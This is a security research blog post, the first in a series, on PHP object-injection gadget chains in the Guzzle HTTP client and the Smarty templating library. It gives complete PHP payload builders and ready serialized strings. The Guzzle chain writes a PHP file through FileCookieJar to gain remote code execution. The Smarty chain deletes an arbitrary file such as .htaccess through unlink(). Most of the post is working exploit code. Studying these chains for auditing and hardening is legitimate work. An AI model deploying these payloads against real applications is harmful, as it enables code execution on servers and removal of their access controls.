No CVE? No problem
(Unfortunately)
This is the first release in a miniseries on POP chain development in popular PHP frameworks and software. The research is written to read three ways: as a developer, as an auditor, and as an attacker. It assumes you know PHP fundamentals, but the technical detail is broken down so it stays accessible.
This installment covers POP chains in Guzzle, an HTTP client library, and Smarty, a PHP web templating system. Developers are more aware of object injection vulnerabilities than they used to be, yet many exploitable chains stay undiscovered. Building a sophisticated chain takes deep knowledge and is closer to an art than a checklist.
Guzzle HTTP Client Analysis
The investigation begins with a suspicious __destruct() method, leading to discovery of the FileCookieJar class. The destructor calls the save() method with $this->filename as an argument.
FileCookieJar extends CookieJar, which contains two private properties:
private $cookies = [];
private $strictMode;
FileCookieJar adds:
private $filename;
private $storeSessionCookies;
The save() method contains a loop over the object:
Foreach ($this as $cookie) {
PHP objects are iterable, allowing iteration through protected and private properties. The SetCookie class is examined next, revealing:
/** @var array */
private static $defaults = [
'Name' => null,
'Value' => null,
'Domain' => null,
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];
/** @var array Cookie data */
private $data;
The CookieJar::shouldPersist() method checks:
public static function shouldPersist(
SetCookie $cookie,
$allowSessionCookies = false
) {
if ($cookie->getExpires() || $allowSessionCookies) {
if (!$cookie->getDiscard()) {
return true;
}
}
return false;
}
These conditions can be satisfied by controlling object values. Initial payload attempts encountered a TypeError because $this->cookies needed to be an array type.
Working Payload Structure
The corrected payload makes $this->cookies an array with SetCookie objects as values:
<?php
namespace GuzzleHttp\Cookie;
class SetCookie {
public function __construct(
public array $data = []
){}
}
class FileCookieJar {
public function __construct(
public array $cookies = [],
public string $filename = 'p0p',
public bool $storeSessionCookies = true,
){
$this->cookies = ['p0p' => (new SetCookie)];
$this->cookies['p0p']->data = [
'Discard' => false,
'Expires' => null,
];
}
}
This creates a file named p0p containing JSON-packed cookie data:
[{"Discard":false,"Expires":null}]
Control is maintained over both the filename via $filename property and content via the $data array, with no sanitization applied before filesystem storage.
Remote Code Execution Proof of Concept
To achieve RCE, the filename is changed to p0p.php and the Name field holds injected PHP code:
<?php
namespace GuzzleHttp\Cookie;
class SetCookie {
public function __construct(
public array $data = []
){}
}
class FileCookieJar {
public function __construct(
public array $cookies = [],
public string $filename = 'p0p.php',
public bool $storeSessionCookies = true,
){
$this->cookies = ['p0p' => (new SetCookie)];
$this->cookies['p0p']->data = [
'Discard' => false,
'Expires' => time() + 3600,
'Name' => '<?=phpinfo();?>',
];
}
}
The serialized representation:
O:31:"GuzzleHttp\\Cookie\\FileCookieJar":3:{s:7:"cookies";a:1:{s:3:"p0p";O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{s:4:"data";a:3:{s:7:"Discard";b:0;s:7:"Expires";i:1667648386;s:4:"Name";s:15:"<?=phpinfo();?>";}}}s:8:"filename";s:7:"p0p.php";s:19:"storeSessionCookies";b:1;}
When passed to unserialize(), this generates p0p.php with contents:
[{"Discard":false,"Expires":1667648386,"Name":"<?=phpinfo();?>"}]
Requesting this file executes the PHP code and displays phpinfo() output, achieving Remote Code Execution.
SmartyPHP Analysis
The investigation continues with the Smarty_Internal_Template class destructor:
$this->cached->handler->releaseLock($this->smarty, $this->cached);
This executes before a conditional check:
if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {
By controlling object properties, control flow can be redirected to different implementations of releaseLock().
The Smarty class contains:
/**
* Controls whether cache resources should use locking mechanism
*
* @var boolean
*/
public $cache_locking = false;
The Smarty_Template_Cached class contains:
/**
* flag that cache is locked by this instance
*
* @var bool
*/
public $is_locked = false;
Both values need to be set to true to trigger the conditional. The handler property type can be manipulated:
/**
* CacheResource Handler
*
* @var Smarty_CacheResource
*/
public $handler = null;
Exploitable releaseLock() Implementation
The Smarty_Internal_CacheResource_File class contains an exploitable releaseLock() implementation:
public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached) {
$cached->is_locked = false;
unlink($cached->lock_id);
}
The lock_id property is a string:
/**
* Id for cache locking
*
* @var string
*/
public $lock_id = null;
Smarty Payload Construction
By setting $this->cached->handler to an instance of Smarty_Internal_CacheResource_File, the unlink() call triggers with a controlled filename:
<?php
class Smarty {
public function __construct(
public bool $cache_locking = true
){}
}
class Smarty_Template_Cached {
public function __construct(
public bool $is_locked = true,
public string $lock_id = '.htaccess'
){}
}
class Smarty_Internal_Template {
public function __construct(
public $smarty = new Smarty,
public $cached = new Smarty_Template_Cached
){
$this->cached->handler = new Smarty_Internal_CacheResource_File;
}
}
The serialized payload:
O:24:"Smarty_Internal_Template":2:{s:6:"smarty";O:6:"Smarty":1:{s:13:"cache_locking";b:1;}s:6:"cached";O:22:"Smarty_Template_Cached":3:{s:9:"is_locked";b:1;s:7:"lock_id";s:9:".htaccess";s:7:"handler";O:34:"Smarty_Internal_CacheResource_File":0:{}}}
When passed to unserialize(), this deletes the .htaccess file from the filesystem, provided the script-execution user has the permissions to do so. File deletion sounds minor until you remember how many applications lean on a single file to gate access to resources or to lock an installation against re-installation.
Part 2 continues the POP chain research series.